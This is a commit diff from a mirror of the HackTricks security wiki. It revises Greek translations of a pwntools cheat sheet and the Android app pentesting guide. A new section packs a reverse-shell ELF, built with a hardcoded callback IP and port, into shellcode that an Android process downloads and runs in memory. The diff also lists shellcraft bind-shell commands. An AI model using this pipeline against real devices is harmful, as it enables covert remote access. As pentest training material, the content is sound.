mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met
This commit is contained in:
parent
d4be61588c
commit
88d48a2565
@ -353,6 +353,7 @@
|
||||
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
|
||||
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
|
||||
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
|
||||
- [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
|
||||
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
|
||||
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
|
||||
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
|
||||
|
||||
@ -6,21 +6,21 @@ pip3 install pwntools
|
||||
```
|
||||
## Pwn asm
|
||||
|
||||
Πάρε **opcodes** από γραμμή ή αρχείο.
|
||||
Λήψη **opcodes** από γραμμή ή αρχείο.
|
||||
```
|
||||
pwn asm "jmp esp"
|
||||
pwn asm -i <filepath>
|
||||
```
|
||||
**Μπορεί να επιλέξει:**
|
||||
**Μπορείτε να επιλέξετε:**
|
||||
|
||||
- τύπος εξόδου (raw, hex, string, elf)
|
||||
- περιεχόμενο αρχείου εξόδου (16, 32, 64, linux, windows...)
|
||||
- αποφυγή byte (νέες γραμμές, null, μια λίστα)
|
||||
- επιλέξτε encoder debug shellcode χρησιμοποιώντας gdb εκτελέστε την έξοδο
|
||||
- τύπος εξόδου (raw,hex,string,elf)
|
||||
- πλαίσιο αρχείου εξόδου (16,32,64,linux,windows...)
|
||||
- αποφυγή bytes (new lines, null, a list)
|
||||
- επιλέξτε encoder/debug shellcode — χρησιμοποιήστε gdb για να τρέξετε την έξοδο
|
||||
|
||||
## **Pwn checksec**
|
||||
|
||||
Checksec script
|
||||
Σενάριο Checksec
|
||||
```
|
||||
pwn checksec <executable>
|
||||
```
|
||||
@ -35,28 +35,28 @@ pwn cyclic -l faad
|
||||
```
|
||||
**Μπορεί να επιλέξει:**
|
||||
|
||||
- Το χρησιμοποιούμενο αλφάβητο (χαμηλά γράμματα από προεπιλογή)
|
||||
- Μήκος μοναδικού μοτίβου (προεπιλογή 4)
|
||||
- συμφραζόμενα (16,32,64,linux,windows...)
|
||||
- Πάρτε την απόκλιση (-l)
|
||||
- Το χρησιμοποιούμενο αλφάβητο (πεζά χαρακτήρες από προεπιλογή)
|
||||
- Μήκος του μοναδικού μοτίβου (προεπιλογή 4)
|
||||
- context (16,32,64,linux,windows...)
|
||||
- Λήψη του offset (-l)
|
||||
|
||||
## Pwn debug
|
||||
|
||||
Συνδέστε το GDB σε μια διαδικασία
|
||||
Επισυνάψτε το GDB σε μια διεργασία
|
||||
```
|
||||
pwn debug --exec /bin/bash
|
||||
pwn debug --pid 1234
|
||||
pwn debug --process bash
|
||||
```
|
||||
**Μπορεί να επιλεγεί:**
|
||||
**Μπορεί να επιλέξει:**
|
||||
|
||||
- Με βάση το εκτελέσιμο, το όνομα ή το pid context (16,32,64,linux,windows...)
|
||||
- gdbscript προς εκτέλεση
|
||||
- Κατά εκτελέσιμο, κατά όνομα ή κατά pid context (16,32,64,linux,windows...)
|
||||
- gdbscript για εκτέλεση
|
||||
- sysrootpath
|
||||
|
||||
## Pwn disablenx
|
||||
|
||||
Απενεργοποίηση nx ενός δυαδικού αρχείου
|
||||
Απενεργοποιεί το nx ενός binary
|
||||
```
|
||||
pwn disablenx <filepath>
|
||||
```
|
||||
@ -68,9 +68,9 @@ pwn disasm ffe4
|
||||
```
|
||||
**Μπορεί να επιλέξει:**
|
||||
|
||||
- συμφραζόμενα (16,32,64,linux,windows...)
|
||||
- βάση διεύθυνση
|
||||
- χρώμα (προεπιλογή)/χωρίς χρώμα
|
||||
- context (16,32,64,linux,windows...)
|
||||
- base addres
|
||||
- color(default)/no color
|
||||
|
||||
## Pwn elfdiff
|
||||
|
||||
@ -80,21 +80,21 @@ pwn elfdiff <file1> <file2>
|
||||
```
|
||||
## Pwn hex
|
||||
|
||||
Λάβετε την εξαγωγή σε δεκαεξαδική μορφή
|
||||
Λάβετε δεκαεξαδική αναπαράσταση
|
||||
```bash
|
||||
pwn hex hola #Get hex of "hola" ascii
|
||||
```
|
||||
## Pwn phd
|
||||
|
||||
Πάρε hexdump
|
||||
Λάβετε hexdump
|
||||
```
|
||||
pwn phd <file>
|
||||
```
|
||||
**Μπορεί να επιλέξει:**
|
||||
|
||||
- Αριθμός byte προς εμφάνιση
|
||||
- Αριθμός byte ανά γραμμή highlight byte
|
||||
- Παράλειψη byte στην αρχή
|
||||
- Αριθμός bytes προς εμφάνιση
|
||||
- Αριθμός bytes ανά γραμμή (highlight byte)
|
||||
- Παράλειψη bytes στην αρχή
|
||||
|
||||
## Pwn pwnstrip
|
||||
|
||||
@ -102,7 +102,7 @@ pwn phd <file>
|
||||
|
||||
## Pwn shellcraft
|
||||
|
||||
Αποκτήστε shellcodes
|
||||
Λάβετε shellcodes
|
||||
```
|
||||
pwn shellcraft -l #List shellcodes
|
||||
pwn shellcraft -l amd #Shellcode with amd in the name
|
||||
@ -113,21 +113,21 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
||||
**Μπορεί να επιλέξει:**
|
||||
|
||||
- shellcode και παραμέτρους για το shellcode
|
||||
- Έξοδος αρχείου
|
||||
- Αρχείο εξόδου
|
||||
- μορφή εξόδου
|
||||
- αποσφαλμάτωση (σύνδεση dbg με το shellcode)
|
||||
- πριν (παγίδα αποσφαλμάτωσης πριν από τον κώδικα)
|
||||
- debug (attach dbg to shellcode)
|
||||
- πριν (debug trap πριν από το code)
|
||||
- μετά
|
||||
- αποφυγή χρήσης opcodes (προεπιλογή: όχι null και νέα γραμμή)
|
||||
- αποφύγετε τη χρήση opcodes (προεπιλογή: όχι null και new line)
|
||||
- Εκτέλεση του shellcode
|
||||
- Χρώμα/χωρίς χρώμα
|
||||
- λίστα syscalls
|
||||
- λίστα πιθανών shellcodes
|
||||
- Δημιουργία ELF ως κοινή βιβλιοθήκη
|
||||
- Δημιουργία ELF ως shared library
|
||||
|
||||
## Πρότυπο Pwn
|
||||
## Pwn template
|
||||
|
||||
Πάρτε ένα πρότυπο python
|
||||
Λάβετε ένα python template
|
||||
```
|
||||
pwn template
|
||||
```
|
||||
@ -139,10 +139,43 @@ pwn template
|
||||
```
|
||||
pwn unhex 686f6c61
|
||||
```
|
||||
## Pwn ενημέρωση
|
||||
## Ενημέρωση Pwn
|
||||
|
||||
Για να ενημερώσετε το pwntools
|
||||
```
|
||||
pwn update
|
||||
```
|
||||
## ELF → raw shellcode πακετάρισμα (loader_append)
|
||||
|
||||
Το Pwntools μπορεί να μετατρέψει ένα standalone ELF σε ένα ενιαίο raw shellcode blob που self‑maps τα segments του και μεταφέρει την εκτέλεση στο αρχικό entrypoint. Αυτό είναι ιδανικό για memory‑only loaders (π.χ., Android apps που καλούν JNI για να εκτελέσουν τα κατεβασμένα bytes).
|
||||
|
||||
Τυπικό pipeline (amd64 example)
|
||||
|
||||
1) Κατασκευάστε ένα static, position‑independent payload ELF (musl recommended for portability):
|
||||
```bash
|
||||
musl-gcc -O3 -s -static -o exploit exploit.c \
|
||||
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
|
||||
```
|
||||
2) Μετατρέψτε ELF → shellcode με pwntools:
|
||||
```python
|
||||
# exp2sc.py
|
||||
from pwn import *
|
||||
context.clear(arch='amd64')
|
||||
elf = ELF('./exploit')
|
||||
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
|
||||
open('sc','wb').write(sc)
|
||||
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
|
||||
```
|
||||
3) Παραδώστε το sc σε έναν memory loader (π.χ. μέσω HTTP[S]) και εκτελέστε in‑process.
|
||||
|
||||
Σημειώσεις
|
||||
- loader_append ενσωματώνει το αρχικό πρόγραμμα ELF μέσα στο shellcode και παράγει έναν μικρό loader που mmaps τα segments και μεταβαίνει στο σημείο εισόδου.
|
||||
- Να είστε σαφείς ως προς την αρχιτεκτονική μέσω του context.clear(arch=...). arm64 είναι κοινό σε Android.
|
||||
- Κρατήστε τον κώδικα του payload ανεξάρτητο ως προς τη θέση και αποφύγετε υποθέσεις σχετικά με το ASLR/NX της διεργασίας.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [Pwntools](https://docs.pwntools.com/en/stable/)
|
||||
- [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# Android Applications Pentesting
|
||||
# Pentesting Εφαρμογών Android
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Android Applications Basics
|
||||
## Βασικά για Εφαρμογές Android
|
||||
|
||||
Συνιστάται έντονα να ξεκινήσετε διαβάζοντας αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια του Android και τα πιο επικίνδυνα συστατικά σε μια Android εφαρμογή**:
|
||||
Συνίσταται ανεπιφύλακτα να ξεκινήσετε διαβάζοντας αυτή τη σελίδα για να μάθετε σχετικά με τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια Android και τα πιο επικίνδυνα συστατικά σε μια εφαρμογή Android**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -13,15 +13,15 @@ android-applications-basics.md
|
||||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια android συσκευή (εξομοιωμένη ή φυσική).\
|
||||
**ADB** επιτρέπει τον έλεγχο συσκευών είτε μέσω **USB** είτε μέσω **Network** από έναν υπολογιστή. Αυτό το εργαλείο επιτρέπει την **αντιγραφή** αρχείων και προς τις δύο κατευθύνσεις, την **εγκατάσταση** και **απεγκατάσταση** εφαρμογών, την **εκτέλεση** εντολών shell, τη **δημιουργία αντιγράφων ασφαλείας** των δεδομένων, την **ανάγνωση** logs, μεταξύ άλλων λειτουργιών.
|
||||
Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε με μια συσκευή Android (εξομοιωμένη ή φυσική).\
|
||||
Η **ADB** επιτρέπει τον έλεγχο των συσκευών είτε μέσω **USB** είτε μέσω **Network** από έναν υπολογιστή. Αυτή η χρησιμότητα επιτρέπει την **αντιγραφή** αρχείων και στις δύο κατευθύνσεις, την **εγκατάσταση** και **απεγκατάσταση** εφαρμογών, την **εκτέλεση** εντολών shell, το **backup** δεδομένων, την **ανάγνωση** logs, μεταξύ άλλων λειτουργιών.
|
||||
|
||||
Ρίξτε μια ματιά στην παρακάτω λίστα με [**ADB Commands**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb.
|
||||
Ρίξτε μια ματιά στην παρακάτω λίστα με τους [**ADB Commands**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb.
|
||||
|
||||
## Smali
|
||||
|
||||
Μερικές φορές είναι ενδιαφέρον να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (ίσως καλά συγκεχυμένοι κωδικοί πρόσβασης ή flags). Τότε, μπορεί να είναι χρήσιμο να decompile το apk, να τροποποιήσετε τον κώδικα και να τον recompile.\
|
||||
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Αυτό μπορεί να είναι πολύ χρήσιμο ως **εναλλακτική για διάφορα tests κατά τη διάρκεια της δυναμικής ανάλυσης** που πρόκειται να παρουσιαστούν. Συνεπώς, **κρατήστε πάντα στο μυαλό αυτή τη δυνατότητα**.
|
||||
Μερικές φορές είναι χρήσιμο να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (π.χ. καλά obfuscated passwords ή flags). Σε αυτή την περίπτωση, μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να το επανασυγκροτήσετε.\
|
||||
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Αυτό μπορεί να είναι πολύ χρήσιμο ως **εναλλακτική για διάφορα τεστ κατά τη διάρκεια της dynamic analysis** που θα παρουσιαστούν. Έτσι, **κρατήστε πάντα στο μυαλό αυτήν την πιθανότητα**.
|
||||
|
||||
## Other interesting tricks
|
||||
|
||||
@ -29,8 +29,8 @@ android-applications-basics.md
|
||||
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
|
||||
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
|
||||
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
|
||||
- **Λήψη APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Εξαγωγή APK από συσκευή:
|
||||
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Εξαγωγή APK από τη συσκευή:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
|
||||
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
- Συγχώνευσε όλα τα splits και base apks με [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
- Συγχωνεύστε όλα τα splits και τα base apks με [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
```bash
|
||||
mkdir splits
|
||||
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
|
||||
@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
|
||||
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
|
||||
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
```
|
||||
## Μελέτες Περίπτωσης & Ευπάθειες
|
||||
## Μελέτες Περιπτώσεων & Ευπάθειες
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -61,38 +61,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
{{#endref}}
|
||||
|
||||
## Στατική Ανάλυση
|
||||
## Static Analysis
|
||||
|
||||
Πρώτα απ' όλα, για να αναλύσετε ένα APK θα πρέπει να **ρίξετε μια ματιά στον Java κώδικα** χρησιμοποιώντας έναν decompiler.\
|
||||
Παρακαλώ, [**διαβάστε εδώ για να βρείτε πληροφορίες σχετικά με διαφορετικούς διαθέσιμους decompilers**](apk-decompilers.md).
|
||||
Πρώτα απ' όλα, για την ανάλυση ενός APK θα πρέπει να **ρίξετε μια ματιά στον Java κώδικα** χρησιμοποιώντας έναν decompiler.\
|
||||
Please, [**read here to find information about different available decompilers**](apk-decompilers.md).
|
||||
|
||||
### Αναζήτηση ενδιαφερόντων πληροφοριών
|
||||
### Looking for interesting Info
|
||||
|
||||
Απλώς κοιτάζοντας τα **strings** του APK μπορείτε να ψάξετε για **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** και οτιδήποτε ενδιαφέρον... ψάξτε ακόμη και για code execution **backdoors** ή authentication backdoors (hardcoded admin credentials στην εφαρμογή).
|
||||
Απλώς κοιτάζοντας τα **strings** του APK μπορείτε να αναζητήσετε **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** και οτιδήποτε ενδιαφέρον... ψάξτε ακόμη και για code execution **backdoors** ή authentication backdoors (hardcoded admin credentials στην εφαρμογή).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Δώστε ειδική προσοχή στις **Firebase URLs** και ελέγξτε αν είναι κακώς διαμορφωμένες. [Περισσότερες πληροφορίες για το τι είναι η Firebase και πώς να την εκμεταλλευτείτε εδώ.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Δώστε ιδιαίτερη προσοχή σε **Firebase URLs** και ελέγξτε αν είναι κακώς ρυθμισμένο. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Βασική κατανόηση της εφαρμογής - Manifest.xml, strings.xml
|
||||
### Basic understanding of the application - Manifest.xml, strings.xml
|
||||
|
||||
Η εξέταση των αρχείων _Manifest.xml_ και _strings.xml_ μιας εφαρμογής μπορεί να αποκαλύψει πιθανές ευπάθειες ασφαλείας. Αυτά τα αρχεία είναι προσπελάσιμα μέσω decompilers ή μετονομάζοντας την επέκταση του APK σε .zip και στη συνέχεια αποσυμπιέζοντάς το.
|
||||
Η **εξέταση του _Manifest.xml_ και των **_strings.xml_** αρχείων μιας εφαρμογής μπορεί να αποκαλύψει πιθανές ευπάθειες ασφαλείας**. Αυτά τα αρχεία μπορούν να προσεγγιστούν χρησιμοποιώντας decompilers ή μετονομάζοντας το αρχείο APK σε .zip και αποσυμπιέζοντάς το.
|
||||
|
||||
**Ευπάθειες** που εντοπίζονται από το **Manifest.xml** περιλαμβάνουν:
|
||||
|
||||
- **Debuggable Applications**: Εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο _Manifest.xml_ αποτελούν κίνδυνο καθώς επιτρέπουν συνδέσεις που μπορεί να οδηγήσουν σε εκμετάλλευση. Για περαιτέρω κατανόηση του πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε ένα tutorial για τον εντοπισμό και την εκμετάλλευση debuggable εφαρμογών σε μια συσκευή.
|
||||
- **Backup Settings**: Το attribute `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες για να αποτραπούν μη εξουσιοδοτημένα backups δεδομένων μέσω adb, ειδικά όταν το usb debugging είναι ενεργοποιημένο.
|
||||
- **Network Security**: Προσαρμοσμένες ρυθμίσεις network security (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως certificate pins και ρυθμίσεις HTTP traffic. Ένα παράδειγμα είναι η επιτρεπτή HTTP κίνηση για συγκεκριμένα domains.
|
||||
- **Exported Activities and Services**: Ο εντοπισμός exported activities και services στο manifest μπορεί να αναδείξει components που μπορεί να κακοχρησιμοποιηθούν. Περαιτέρω ανάλυση κατά τη διάρκεια dynamic testing μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα components.
|
||||
- **Content Providers and FileProviders**: Εκτεθειμένοι content providers μπορεί να επιτρέψουν μη εξουσιοδοτημένη πρόσβαση ή τροποποίηση δεδομένων. Η διαμόρφωση των FileProviders πρέπει επίσης να ελεγχθεί προσεκτικά.
|
||||
- **Broadcast Receivers and URL Schemes**: Αυτά τα components μπορούν να αξιοποιηθούν για εκμετάλλευση, με ιδιαίτερη προσοχή στον τρόπο που τα URL schemes διαχειρίζονται για input vulnerabilities.
|
||||
- **SDK Versions**: Τα attributes `minSdkVersion`, `targetSDKVersion`, και `maxSdkVersion` υποδεικνύουν τις υποστηριζόμενες εκδόσεις Android, τονίζοντας τη σημασία του να μην υποστηρίζονται παρωχημένες, ευάλωτες εκδόσεις Android για λόγους ασφάλειας.
|
||||
- **Debuggable Applications**: Εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο _Manifest.xml_ αποτελούν ρίσκο καθώς επιτρέπουν συνδέσεις που μπορούν να οδηγήσουν σε εκμετάλλευση. Για περαιτέρω κατανόηση του πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε οδηγό για την εύρεση και εκμετάλλευση debuggable εφαρμογών σε μια συσκευή.
|
||||
- **Backup Settings**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες, για να αποτραπούν μη εξουσιοδοτημένα backups μέσω adb, ειδικά όταν είναι ενεργοποιημένο το usb debugging.
|
||||
- **Network Security**: Προσαρμοσμένες ρυθμίσεις network security (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως certificate pins και ρυθμίσεις HTTP traffic. Ένα παράδειγμα είναι η επιτρεπόμενη HTTP κίνηση για συγκεκριμένα domains.
|
||||
- **Exported Activities and Services**: Η ταυτοποίηση exported activities και services στο manifest μπορεί να αναδείξει components που ενδεχομένως μπορούν να χρησιμοποιηθούν κακόβουλα. Περαιτέρω ανάλυση κατά τη διάρκεια dynamic testing μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα components.
|
||||
- **Content Providers and FileProviders**: Εκτεθειμένοι content providers θα μπορούσαν να επιτρέψουν μη εξουσιοδοτημένη πρόσβαση ή τροποποίηση δεδομένων. Η διαμόρφωση των FileProviders πρέπει επίσης να εξεταστεί προσεκτικά.
|
||||
- **Broadcast Receivers and URL Schemes**: Αυτά τα components θα μπορούσαν να χρησιμοποιηθούν για εκμετάλλευση, με ιδιαίτερη προσοχή στον τρόπο διαχείρισης των URL schemes για ευπάθειες εισόδου.
|
||||
- **SDK Versions**: Τα attributes `minSdkVersion`, `targetSDKVersion`, και `maxSdkVersion` υποδεικνύουν τις υποστηριζόμενες εκδόσεις Android, τονίζοντας τη σημασία του να μην υποστηρίζονται ξεπερασμένες, ευάλωτες εκδόσεις Android για λόγους ασφαλείας.
|
||||
|
||||
Από το αρχείο **strings.xml**, μπορούν να ανακαλυφθούν ευαίσθητες πληροφορίες όπως API keys, custom schemas και άλλες developer notes, υπογραμμίζοντας την ανάγκη για προσεκτική ανασκόπηση αυτών των πόρων.
|
||||
Από το αρχείο **strings.xml**, μπορούν να εντοπιστούν ευαίσθητες πληροφορίες όπως API keys, custom schemas και άλλα developer notes, υπογραμμίζοντας την ανάγκη για προσεκτική ανασκόπηση αυτών των πόρων.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
Το Tapjacking είναι μια επίθεση όπου μια κακόβουλη εφαρμογή εκκινείται και τοποθετείται πάνω από μια εφαρμογή-θύμα. Μόλις καλύψει οπτικά την εφαρμογή-θύμα, το user interface της σχεδιάζεται ώστε να ξεγελάσει τον χρήστη να αλληλεπιδράσει με αυτό, ενώ παράλληλα προωθεί την αλληλεπίδραση στην εφαρμογή-θύμα. Στην πράξη, τυφλώνει τον χρήστη ώστε να μην γνωρίζει ότι στην πραγματικότητα εκτελεί ενέργειες στην εφαρμογή-θύμα.
|
||||
Tapjacking είναι μια επίθεση όπου μια **malicious** **application** εκκινείται και τοποθετείται πάνω από μια victim application. Μόλις καλύψει οπτικά την victim app, το user interface της σχεδιάζεται έτσι ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτή, ενώ ταυτόχρονα προωθεί την αλληλεπίδραση στην victim app.\
|
||||
Ουσιαστικά, τυφλώνει τον χρήστη ώστε να μην γνωρίζει ότι στην πραγματικότητα εκτελεί ενέργειες στην victim app.
|
||||
|
||||
Find more information in:
|
||||
|
||||
@ -103,7 +104,7 @@ tapjacking.md
|
||||
|
||||
### Task Hijacking
|
||||
|
||||
Μια **activity** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς να ορίζεται `taskAffinity`** είναι ευάλωτη σε Task Hijacking. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και, αν εκκινηθεί πριν από την πραγματική εφαρμογή, να **καταλάβει το task της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή πιστεύοντας ότι χρησιμοποιεί την πραγματική**).
|
||||
Μια **activity** με το `launchMode` ορισμένο σε `singleTask` χωρίς να υπάρχει δηλωμένο `taskAffinity` είναι ευάλωτη σε task Hijacking. Αυτό σημαίνει ότι μια **application** μπορεί να εγκατασταθεί και αν εκτελεστεί πριν από την πραγματική εφαρμογή, μπορεί να **hijackάρει το task της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **malicious application** νομίζοντας ότι χρησιμοποιεί την πραγματική).
|
||||
|
||||
More info in:
|
||||
|
||||
@ -112,69 +113,69 @@ More info in:
|
||||
android-task-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
### Μη ασφαλής αποθήκευση δεδομένων
|
||||
### Insecure data storage
|
||||
|
||||
**Internal Storage**
|
||||
Internal Storage
|
||||
|
||||
Στο Android, τα αρχεία **αποθηκευμένα** στην **εσωτερική** αποθήκευση έχουν σχεδιαστεί να είναι προσπελάσιμα αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας **επιβάλλεται** από το Android λειτουργικό σύστημα και είναι γενικά επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν modes όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέψουν** να **μοιράζονται** αρχεία μεταξύ διαφορετικών εφαρμογών. Αυτές οι λειτουργίες όμως **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων ενδεχόμενα κακόβουλων.
|
||||
Στο Android, τα αρχεία που αποθηκεύονται στην internal storage έχουν σχεδιαστεί να είναι προσβάσιμα αποκλειστικά από την app που τα δημιούργησε. Αυτό το μέτρο ασφαλείας επιβάλλεται από το λειτουργικό σύστημα Android και είναι συνήθως επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι developers μερικές φορές χρησιμοποιούν modes όπως τα MODE_WORLD_READABLE και MODE_WORLD_WRITABLE για να επιτρέψουν το sharing αρχείων μεταξύ διαφορετικών εφαρμογών. Αυτά τα modes όμως δεν περιορίζουν την πρόσβαση σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς malicious.
|
||||
|
||||
1. **Static Analysis:**
|
||||
- **Ελέγξτε** προσεκτικά τη χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE`. Αυτά τα modes **μπορεί να εκθέσουν** αρχεία σε **μη επιδιωκόμενη ή μη εξουσιοδοτημένη πρόσβαση**.
|
||||
- **Εξακριβώστε** ότι η χρήση των MODE_WORLD_READABLE και MODE_WORLD_WRITABLE εξετάζεται προσεκτικά. Αυτά τα modes **μπορεί να εκθέσουν** αρχεία σε μη προγραμματισμένη ή μη εξουσιοδοτημένη πρόσβαση.
|
||||
2. **Dynamic Analysis:**
|
||||
- **Επαληθεύστε** τα **permissions** που έχουν οριστεί σε αρχεία που δημιουργεί η εφαρμογή. Συγκεκριμένα, **ελέγξτε** αν κάποια αρχεία έχουν οριστεί ως αναγνώσιμα ή εγγράψιμα από όλο τον κόσμο. Αυτό μπορεί να συνιστά σημαντικό κίνδυνο ασφαλείας, καθώς θα επέτρεπε σε **οποιαδήποτε εφαρμογή** εγκατεστημένη στη συσκευή, ανεξάρτητα από την προέλευση ή τον σκοπό της, να **διαβάσει ή να τροποποιήσει** αυτά τα αρχεία.
|
||||
- **Επαληθεύστε** τα **permissions** που έχουν οριστεί στα αρχεία που δημιουργεί η εφαρμογή. Συγκεκριμένα, **ελέγξτε** αν κάποια αρχεία έχουν οριστεί να είναι readable ή writable worldwide. Αυτό μπορεί να αποτελεί σημαντικό κίνδυνο ασφαλείας, καθώς θα επέτρεπε σε **οποιαδήποτε εφαρμογή** εγκατεστημένη στη συσκευή, ανεξαρτήτως προέλευσης ή πρόθεσης, να **διαβάσει ή να τροποποιήσει** αυτά τα αρχεία.
|
||||
|
||||
**External Storage**
|
||||
External Storage
|
||||
|
||||
Όταν χειρίζεστε αρχεία στην εξωτερική αποθήκευση, όπως SD Cards, πρέπει να ληφθούν ορισμένες προφυλάξεις:
|
||||
Όταν χειρίζεστε αρχεία σε external storage, όπως SD Cards, θα πρέπει να ληφθούν υπόψη ορισμένες προφυλάξεις:
|
||||
|
||||
1. **Accessibility**:
|
||||
- Τα αρχεία στην εξωτερική αποθήκευση είναι **παγκοσμίως αναγνώσιμα και εγγράψιμα**. Αυτό σημαίνει ότι οποιαδήποτε εφαρμογή ή χρήστης μπορεί να έχει πρόσβαση σε αυτά τα αρχεία.
|
||||
